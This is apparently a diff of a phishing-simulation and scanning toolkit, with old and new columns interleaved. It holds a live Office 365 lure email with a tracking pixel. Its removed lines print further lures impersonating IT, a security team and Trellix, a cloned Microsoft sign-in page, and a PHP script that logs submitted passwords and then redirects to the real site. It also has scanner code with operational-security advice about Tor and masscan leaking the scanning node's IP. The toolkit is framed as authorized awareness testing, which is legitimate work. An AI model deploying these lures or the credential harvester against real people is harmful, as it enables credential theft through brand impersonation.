.footer { background: #f8f8f8; padding: 20px; font-size: 12px; color: #666; }
.urgent { color: #d13438; font-weight: bold; }
</style>
</head>
<body>
<div class="container">
<div class="header">
<h2>Microsoft Office 365</h2>
</div>
<div class="content">
<p>Hello {{ first_name | default('User') }},</p>
<p class="urgent">ACTION REQUIRED: Your Office 365 session has expired</p> Omitted from public release. Present in operational deployments.
#}
<p>We've detected that your Office 365 session for <strong>{{ email }}</strong> has expired due to security policy updates. To continue accessing your email and documents, please sign in again within the next 24 hours.</p>
<p>If you don't verify your account within this timeframe, access to your Office 365 services will be temporarily suspended for security reasons.</p>
<center>
<a href="https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email" class="button">Sign In to Office 365</a>
</center>
<p><small>If you're unable to click the button above, copy and paste this link into your browser:<br>
https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email</small></p>
<p>Thank you for your cooperation in keeping your account secure.</p>
<p>Best regards,<br>
Microsoft Account Security Team</p>
</div>
<div class="footer">
<p>Microsoft Corporation | One Microsoft Way | Redmond, WA 98052</p>
<p>This message was sent to {{ email }}. If you don't want to receive these emails, you can <a href="#">unsubscribe</a>.</p>
</div>
</div>
<!-- Tracking pixel -->
<img src="https://{{ phishing_subdomain }}.{{ phishing_domain }}/px/{{ tracking_id }}.png" width="1" height="1" style="display:none;">
</body>
</html>
@@ -1,95 +1,8 @@
<!DOCTYPE html> {# OMITTED — password_expiry phishing email template #}
<html> {#
<head> Jinja2 email template for the password_expiry lure scenario. Rendered at deploy
<meta charset="UTF-8"> time with target organization name, sender domain, and tracking pixel URL
<meta name="viewport" content="width=device-width, initial-scale=1.0"> substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
<title>Password Expiration Notice</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
</td>
</tr>
<!-- Warning Banner --> Omitted from public release. Present in operational deployments.
<tr> #}
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td style="padding-right: 10px;">
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
</td>
<td>
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
</td>
</tr>
</table>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hello {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
To prevent any interruption to your access, please update your password before it expires.
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
Password requirements:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
<li>Minimum 12 characters</li>
<li>At least one uppercase letter</li>
<li>At least one lowercase letter</li>
<li>At least one number</li>
<li>At least one special character</li>
<li>Cannot be the same as your last 5 passwords</li>
</ul>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Update Password Now
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
If you're unable to click the button above, copy and paste this link into your browser:<br>
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This is an automated message from {{ organization | default('IT Department') }}.<br>
Please do not reply to this email.<br>
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,103 +1,8 @@
<!DOCTYPE html> {# OMITTED — security_alert phishing email template #}
<html> {#
<head> Jinja2 email template for the security_alert lure scenario. Rendered at deploy
<meta charset="UTF-8"> time with target organization name, sender domain, and tracking pixel URL
<meta name="viewport" content="width=device-width, initial-scale=1.0"> substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
<title>Security Alert</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
</td>
</tr>
<!-- Content --> Omitted from public release. Present in operational deployments.
<tr> #}
<td style="padding: 30px;">
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Dear {{ "{{.FirstName}}" }},
</p>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
We detected unusual sign-in activity on your account:
</p>
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
</tr>
</table>
</td>
</tr>
</table>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
<strong>If this was you:</strong> You can safely ignore this email.<br>
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Secure My Account
</a>
</td>
</tr>
</table>
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
<strong>What happens next?</strong><br>
We'll guide you through securing your account, including:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
<li>Verifying your identity</li>
<li>Reviewing recent account activity</li>
<li>Updating your password</li>
<li>Enabling additional security measures</li>
</ul>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This security alert was sent to {{ "{{.Email}}" }}<br>
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,127 +1,8 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> {# OMITTED — trellix-sub phishing email template #}
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office"> {#
<head> Jinja2 email template for the trellix-sub lure scenario. Rendered at deploy
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> time with target organization name, sender domain, and tracking pixel URL
<meta name="viewport" content="width=device-width, initial-scale=1.0"/> substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Trellix Threat Intelligence Feed Expiration</title>
<style type="text/css">
body { margin:0; padding:0; background-color:#eeeeee; font-family: Arial, sans-serif; }
a { color: #2814FF; text-decoration: none; }
.button {
background-color: #2814FF;
color: #ffffff !important;
padding: 12px 30px;
border-radius: 5px;
font-size: 16px;
font-weight: bold;
display: inline-block;
}
.footer-text {
font-size: 10px;
color: #ffffff;
line-height: 1.4;
}
.container {
max-width: 600px;
margin: 0 auto;
background-color: #ffffff;
}
.section {
padding: 20px;
color: #000000;
font-size: 15px;
line-height: 22px;
}
ul { padding-left: 20px; }
</style>
</head>
<body>
<!-- Outer wrapper --> Omitted from public release. Present in operational deployments.
<table width="100%" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE"> #}
<tr>
<td align="center">
<!-- Email Container -->
<table class="container" cellpadding="0" cellspacing="0" width="600">
<!-- Top Band -->
<tr>
<td bgcolor="#2814FF" height="5"></td>
</tr>
<!-- Logo -->
<tr>
<td align="left" class="section" style="padding-top: 30px;">
<img src="https://resources.trellix.com/rs/627-OOG-590/images/Trellix_LOGO.png" alt="Trellix Logo" width="100" height="25" style="display:block;" />
</td>
</tr>
<!-- Body Content -->
<tr>
<td class="section">
<strong style="font-size: 18px; color: #2814FF;">License Expiration Notice</strong>
<br /><br />
This is an automated alert to inform you that your organizations access to the <strong>Trellix Threat Intelligence Feed</strong> is set to expire <strong>today: July 23, 2025</strong>.
<br /><br />
To avoid disruption in real-time security insights, a license renewal is required to continue accessing:
<ul>
<li>Global threat intelligence updates</li>
<li>Malware detection and response data</li>
<li>Cloud console and policy services</li>
</ul>
<p>You can access your Trellix licensing portal using the secure link below.</p>
<table align="center" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="center">
<a href="{{.URL}}" target="_blank" class="button">Access Your Licensing Portal</a>
</td>
</tr>
</table>
<br /><br />
If this notice was received in error or your subscription has already been renewed, no action is needed.
<br /><br />
For assistance, contact <a href="https://support.trellix.com">Trellix Support</a> or your designated Customer Success Manager.
<br /><br />
—<br />
<strong>Trellix Licensing Operations</strong><br />
<a href="https://www.trellix.com">www.trellix.com</a><br />
<a href="mailto:renewals@trellix.com">renewals@trellix.com</a>
</td>
</tr>
<!-- Divider -->
<tr>
<td><img src="http://resources.trellix.com/rs/627-OOG-590/images/ruler2.png" width="100%" style="display:block;" alt="divider" /></td>
</tr>
<!-- Footer -->
<tr>
<td bgcolor="#1A1A1A" class="section" align="center">
<div class="footer-text">
<a href="https://email.trellix.com/manage-prefs" style="color:#ffffff;">Manage Preferences</a> |
<a href="https://email.trellix.com/privacy" style="color:#ffffff;">Privacy</a> |
<a href="https://email.trellix.com/contact" style="color:#ffffff;">Contact Us</a> |
<a href="https://email.trellix.com/webview" style="color:#ffffff;">View as Webpage</a> |
<a href="https://email.trellix.com/unsubscribe" style="color:#ffffff;">Unsubscribe</a>
<br /><br />
Trellix | 6000 Headquarters Drive, Plano, TX 75024<br /><br />
Please note: you cannot reply to this email address. If you have any questions, please use the links provided above.
<br /><br />
Copyright © 2025 Musarubra US LLC. All rights reserved.
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,87 +1,5 @@
# FedRAMP Phishing Test Compliance Configuration {# OMITTED — FedRAMP compliance lure template #}
# This configuration ensures compliance with FedRAMP requirements {#
Phishing page styled to mimic a FedRAMP compliance portal. Used in
compliance_mode: fedramp engagements targeting federal contractors. Omitted from public release.
test_type: user_awareness_only #}
# Email Configuration
email_settings:
# Emails must be whitelisted on all security systems
require_whitelist: true
bypass_security_controls: true
# No modification of emails allowed
allow_header_modification: false
allow_content_filtering: false
# Tracking requirements
tracking:
- email_opened (via pixel)
- link_clicked
- credentials_submitted
- user_identity (tied to actions)
# Landing Page Requirements
landing_page:
# Must immediately identify as phishing test
show_phishing_notice: true
phishing_notice_text: |
This was a phishing simulation!
You should never enter your credentials on suspicious websites.
# Educational content required
include_education: true
education_content:
- How to identify phishing emails
- Red flags to watch for
- Reporting procedures
- Best practices for email security
# Reporting Requirements
reporting:
# No PII in reports
anonymize_data: true
report_format: aggregate_only
# Required metrics
metrics:
- total_emails_sent
- emails_opened_percentage
- links_clicked_percentage
- credentials_submitted_percentage
- department_breakdown
- role_based_statistics
# Prohibited data
exclude:
- individual_names
- specific_email_addresses
- personal_identifiers
# Technical Configuration
technical:
# Simple campaign only
campaign_type: basic_phishing_test
# No exploitation
allow_malware: false
allow_exploitation: false
allow_persistence: false
# Clean tracking only
tracking_methods:
- pixel_tracking
- unique_urls
- form_submission
# Approval Process
approval:
requires_3pao_approval: true
requires_template_review: true
approval_documentation: required
# Post-Test Requirements
post_test:
notify_failures: true
provide_training: true
remediation_timeline: 30_days
+8 -26
View File
@@ -1,27 +1,9 @@
<?php <?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') { // OMITTED — credential capture handler
$data = [ //
'timestamp' => date('Y-m-d H:i:s'), // PHP script deployed to phishing redirector. Receives POST data from the
'ip' => $_SERVER['REMOTE_ADDR'], // cloned login form, logs credentials with timestamp and source IP to an
'user_agent' => $_SERVER['HTTP_USER_AGENT'], // encrypted local file, then transparently forwards the victim to the
'email' => $_POST['email'] ?? '', // legitimate site to avoid suspicion.
'password' => $_POST['password'] ?? '', //
'headers' => getallheaders() // Omitted from public release. Present in operational deployments.
];
$log_file = '/var/private/creds/creds.enc';
$encrypted = openssl_encrypt(
json_encode($data),
'AES-256-CBC',
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
0,
str_repeat("\0", 16)
);
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
header('Location: https://login.microsoftonline.com/common/oauth2/);
exit;
}
?>
@@ -1,106 +1,9 @@
<!DOCTYPE html> {# OMITTED — phishing login page template #}
<html> {#
<head> Jinja2 template for a cloned login page. Target organization branding,
<title>Sign in to your account</title> logo, and color scheme are substituted at deploy time. Form POSTs to
<meta name="viewport" content="width=device-width, initial-scale=1"> capture.php on the same server. Includes viewport/mobile meta tags for
<style> mobile phishing scenarios.
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; Omitted from public release. Present in operational deployments.
background: linear-gradient(135deg, #f0f0f0, #e0e0e0); #}
margin: 0;
padding: 0;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.login-container {
background: white;
width: 380px;
padding: 30px 40px;
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
}
.logo {
text-align: left;
margin-bottom: 20px;
}
h1 {
font-size: 24px;
font-weight: 600;
margin: 20px 0 15px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px 0;
margin-bottom: 15px;
border: none;
border-bottom: 1px solid #ccc;
font-size: 15px;
outline: none;
}
input:focus {
border-bottom: 1px solid #0067b8;
}
.button-container {
text-align: right;
margin-top: 20px;
}
button {
background-color: #0067b8;
color: white;
border: none;
padding: 8px 24px;
font-size: 14px;
cursor: pointer;
}
.links {
margin-top: 20px;
font-size: 13px;
}
.links a {
color: #0067b8;
text-decoration: none;
}
.footer {
position: fixed;
bottom: 0;
width: 100%;
display: flex;
justify-content: space-between;
padding: 10px 20px;
font-size: 12px;
color: #666;
}
.footer a {
color: #666;
text-decoration: none;
margin-left: 20px;
}
</style>
</head>
<body>
<div class="login-container">
<div class="logo">
<img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
</div>
<h1>Sign in</h1>
<form action="process.php" method="post">
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<div class="links">
<a href="https://signup.live.com/signup">No account? Create one!</a><br>
<a href="https://account.live.com/password/reset">Can't access your account?</a>
</div>
<div class="button-container">
<button type="submit">Next</button>
</div>
</form>
</div>
<div class="footer">
<div class="terms">
<a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
</div>
</div>
</body>
</html>
+89 -23
View File
@@ -184,17 +184,21 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
print(f"\n{COLORS['BLUE']}Advanced Tuning (Enter = use default):{COLORS['RESET']}") print(f"\n{COLORS['BLUE']}Advanced Tuning (Enter = use default):{COLORS['RESET']}")
show_header = False show_header = False
if key in vars_overrides: if key in vars_overrides:
tuning[key] = cast(vars_overrides[key]) value = cast(vars_overrides[key])
print(f" {label}: {tuning[key]} (vars file)") source = "vars file"
else: else:
raw = input(f" {label} [{default}]: ").strip() raw = input(f" {label} [{default}]: ").strip()
tuning[key] = cast(raw) if raw else default value = cast(raw) if raw else default
source = None
if isinstance(value, (int, float)) and value <= 0:
print(f"{COLORS['YELLOW']} {label}={value} invalid (must be > 0); using default {default}{COLORS['RESET']}")
value = default
tuning[key] = value
if source:
print(f" {label}: {value} ({source})")
_prompt("masscan rate (pkt/s)", "masscan_rate", default_rate) _prompt("masscan rate (pkt/s)", "masscan_rate", default_rate)
if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
pass # masscan_rate already handled
if scan_mode in ('masscan+nmap', 'geo-scout'): if scan_mode in ('masscan+nmap', 'geo-scout'):
_prompt("nmap timing T1-T4", "nmap_timing", 4) _prompt("nmap timing T1-T4", "nmap_timing", 4)
_prompt("nmap per-host timeout (s)", "nmap_timeout", 60) _prompt("nmap per-host timeout (s)", "nmap_timeout", 60)
@@ -208,8 +212,53 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
return tuning return tuning
def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False): def _show_masscan_tor_warning():
rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor) R = COLORS['RED']
Y = COLORS['YELLOW']
W = COLORS['WHITE']
Z = COLORS['RESET']
print(f"\n{R}{'' * 70}{Z}")
print(f"{R}█ ⚠ CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR █{Z}")
print(f"{R}{'' * 70}{Z}")
print(f"{W} masscan uses raw sockets and CANNOT be tunneled through Tor or")
print(f" proxychains. Every SYN packet sent during the masscan phase reveals")
print(f" THIS CLOUD NODE'S IP to the targets and any monitoring along the path.{Z}")
print()
print(f"{Y} Tor will protect: {Z}{W}nmap fingerprinting, nuclei requests, probe banners{Z}")
print(f"{Y} Tor will NOT protect: {Z}{R}masscan SYN scan (bypasses the proxy entirely){Z}")
print()
print(f"{W} If you need full Tor coverage, use 'nmap-only' mode (slow but fully")
print(f" proxied via -sT). The masscan phase is fundamentally incompatible.{Z}\n")
def _show_caveats_block(scan_mode: str, use_tor: bool):
Y = COLORS['YELLOW']
W = COLORS['WHITE']
R = COLORS['RED']
Z = COLORS['RESET']
print(f"{Y} Caveats — empirical estimates, real scans vary ±30%:{Z}")
print(f"{W} • Hit rate assumes ~1% of IPs have open ports on selected ports.")
print(f" Real range: 0.5%5% (higher for SSH/HTTP/HTTPS, lower for niche")
print(f" ports). Override via vars file: hit_rate: 0.03{Z}")
if scan_mode in ('masscan+nuclei',):
print(f"{W} • Nuclei estimate assumes 5s/target (typical CVE template, 13 HTTP")
print(f" requests). Heavy templates with many requests/matchers run 25×")
print(f" longer.{Z}")
if scan_mode in ('masscan+nmap', 'geo-scout', 'nmap-only'):
print(f"{W} • nmap timing: T1=60s/host, T2=30s, T3=15s, T4=10s. Lower T values")
print(f" evade rate-limit detection but multiply scan time accordingly.{Z}")
if use_tor:
print(f"{R} • Tor adds 5× latency to nmap/nuclei/probe phases. Real overhead")
print(f" varies 3×–10× depending on circuit quality. Masscan is NOT")
print(f" proxied — see the warning banner above.{Z}")
print(f"{W} • Provisioning: ~5 min/node included. Add 510 min for first-time")
print(f" cloud-provider auth or new region.")
print(f" • Cost: Linode/FlokiNET bill minimum 1h per node. AWS bills per")
print(f" second. Short scans still incur the per-provider minimum.{Z}\n")
def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False, tuning: dict | None = None):
rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor, tuning=tuning)
C = COLORS['CYAN'] C = COLORS['CYAN']
W = COLORS['WHITE'] W = COLORS['WHITE']
@@ -217,11 +266,25 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca
G = COLORS['GREEN'] G = COLORS['GREEN']
R = COLORS['RESET'] R = COLORS['RESET']
tor_note = " [Tor: estimates reflect nmap/probe latency]" if use_tor else "" masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
if use_tor and scan_mode in masscan_modes:
_show_masscan_tor_warning()
tor_note = " [Tor: estimates reflect nmap/probe latency only]" if use_tor else ""
print(f"\n{C}{'' * 70}{R}") print(f"\n{C}{'' * 70}{R}")
print(f"{C} WEBRUNNER — Cost & Time Estimate{R}") print(f"{C} WEBRUNNER — Cost & Time Estimate{R}")
print(f"{W} Total: {fmt_ip_count(total_ips)} IPs {n_ports} ports Mode: {scan_mode}{R}") print(f"{W} Total: {fmt_ip_count(total_ips)} IPs {n_ports} ports Mode: {scan_mode}{R}")
print(f"{W} Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{Y}{tor_note}{R}") print(f"{W} Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{Y}{tor_note}{R}")
if tuning:
bits = []
if 'masscan_rate' in tuning:
bits.append(f"masscan={tuning['masscan_rate']}pps")
if 'nmap_timing' in tuning:
bits.append(f"nmap=T{tuning['nmap_timing']}/{tuning.get('nmap_workers', 10)}w")
if 'nuclei_rate' in tuning and scan_mode == 'masscan+nuclei':
bits.append(f"nuclei={tuning['nuclei_rate']}rps/{tuning.get('nuclei_concurrency', 25)}c")
if bits:
print(f"{W} Tuning: {' · '.join(bits)}{R}")
print(f"{C}{'' * 70}{R}") print(f"{C}{'' * 70}{R}")
print(f" {'Preset':<14} {'Nodes':>6} {'IPs/Node':>10} {'Time/Node':>12} {'Total $':>10}") print(f" {'Preset':<14} {'Nodes':>6} {'IPs/Node':>10} {'Time/Node':>12} {'Total $':>10}")
print(f" {'' * 56}") print(f" {'' * 56}")
@@ -239,6 +302,7 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca
print(f"{C}{'' * 70}{R}") print(f"{C}{'' * 70}{R}")
print(f"{Y} * = recommended (Pareto-optimal: speed vs. billing minimum){R}\n") print(f"{Y} * = recommended (Pareto-optimal: speed vs. billing minimum){R}\n")
_show_caveats_block(scan_mode, use_tor)
# ── parameter gathering ─────────────────────────────────────────────────────── # ── parameter gathering ───────────────────────────────────────────────────────
@@ -335,16 +399,23 @@ def gather_webrunner_parameters() -> dict | None:
# Tor routing — ask before estimate so table reflects the slowdown # Tor routing — ask before estimate so table reflects the slowdown
tor_raw = input(f"\nRoute scans through Tor? [y/N]: ").strip().lower() tor_raw = input(f"\nRoute scans through Tor? [y/N]: ").strip().lower()
config['use_tor'] = tor_raw in ['y', 'yes'] config['use_tor'] = tor_raw in ['y', 'yes']
if config['use_tor']: masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
if scan_mode == 'masscan-only': if config['use_tor'] and scan_mode in masscan_modes:
print(f"{COLORS['YELLOW']} Warning: masscan uses raw sockets and bypasses proxychains — Tor has no effect in masscan-only mode.{COLORS['RESET']}") _show_masscan_tor_warning()
elif scan_mode in ('geo-scout', 'masscan+nmap'): confirm = input(f"{COLORS['RED']} Continue with Tor enabled, knowing masscan will leak this node's IP? [y/N]: {COLORS['RESET']}").strip().lower()
print(f"{COLORS['YELLOW']} Note: masscan phase bypasses Tor (raw sockets); nmap and probe phases will use Tor.{COLORS['RESET']}") if confirm not in ['y', 'yes']:
else: print(f"{COLORS['YELLOW']} Tor disabled. To get full Tor coverage, re-run with scan mode 'nmap-only'.{COLORS['RESET']}")
print(f"{COLORS['YELLOW']} Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}") config['use_tor'] = False
elif config['use_tor']:
print(f"{COLORS['GREEN']} Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}")
# Cost / time estimate reflects Tor throughput impact # Advanced tuning — gather BEFORE estimate so table reflects operator choices
_show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor']) default_rate = config['masscan_rate']
tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
config.update(tuning)
# Cost / time estimate — reflects tuning + Tor throughput impact
_show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'], tuning=tuning)
# Preset selection # Preset selection
print(f"{COLORS['BLUE']}Select deployment preset:{COLORS['RESET']}") print(f"{COLORS['BLUE']}Select deployment preset:{COLORS['RESET']}")
@@ -438,11 +509,6 @@ def gather_webrunner_parameters() -> dict | None:
if config['operator_ip']: if config['operator_ip']:
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}") print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
# Advanced tuning
default_rate = config['masscan_rate']
tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
config.update(tuning)
# OPSEC / teardown options # OPSEC / teardown options
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}") print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
+4 -4
View File
@@ -55,9 +55,9 @@
- name: Set deployment results - name: Set deployment results
set_fact: set_fact:
phishing_deployment_results: phishing_deployment_results:
gophish_ip: "{{ '192.168.1.10' if 'gophish' in deployment_components else '' }}" gophish_ip: "{{ '10.0.0.10' if 'gophish' in deployment_components else '' }}"
mta_ip: "{{ '192.168.1.11' if 'mta_front' in deployment_components else '' }}" mta_ip: "{{ '10.0.0.11' if 'mta_front' in deployment_components else '' }}"
redirector_ip: "{{ '192.168.1.12' if 'redirector' in deployment_components else '' }}" redirector_ip: "{{ '10.0.0.12' if 'redirector' in deployment_components else '' }}"
webserver_ip: "{{ '192.168.1.13' if 'webserver' in deployment_components else '' }}" webserver_ip: "{{ '10.0.0.13' if 'webserver' in deployment_components else '' }}"
deployment_id: "{{ deployment_id }}" deployment_id: "{{ deployment_id }}"
domain: "{{ phishing_domain | default(domain) }}" domain: "{{ phishing_domain | default(domain) }}"
+1 -1
View File
@@ -11,7 +11,7 @@ def load_word_list(filename):
"""Load words from a text file, one word per line""" """Load words from a text file, one word per line"""
try: try:
# Check if we have FourEyes word lists # Check if we have FourEyes word lists
foureyes_path = "/home/n0mad1k/Tools/FourEyes" foureyes_path = "/opt/redteam/FourEyes"
if os.path.exists(foureyes_path): if os.path.exists(foureyes_path):
file_path = os.path.join(foureyes_path, filename) file_path = os.path.join(foureyes_path, filename)
if os.path.exists(file_path): if os.path.exists(file_path):
+106 -20
View File
@@ -48,20 +48,101 @@ BILLING_MINIMUM = {
} }
NMAP_TIME_PER_HOST_SEC = 10 # empirical: nmap -sV -T4 per host, seconds # ── Empirical timing constants ────────────────────────────────────────────────
MASSCAN_HIT_RATE = 0.01 # fraction of scanned IPs that have open ports # Per-host nmap time by timing template (seconds, -sV --version-intensity 5)
_NMAP_WORKERS = 10 # must match WEBRUNNER_NMAP_WORKERS default NMAP_TIME_BY_TIMING = {
1: 60.0, # T1 sneaky
2: 30.0, # T2 polite
3: 15.0, # T3 normal
4: 10.0, # T4 aggressive (baseline)
}
# Average per-target time for typical nuclei CVE template (13 HTTP requests).
# Heavy templates with many requests/matchers will run 25× longer.
NUCLEI_TIME_PER_TARGET_SEC = 5.0
# TCP banner grab time (geo-scout probe phase)
PROBE_TIME_PER_HOST_SEC = 3.0
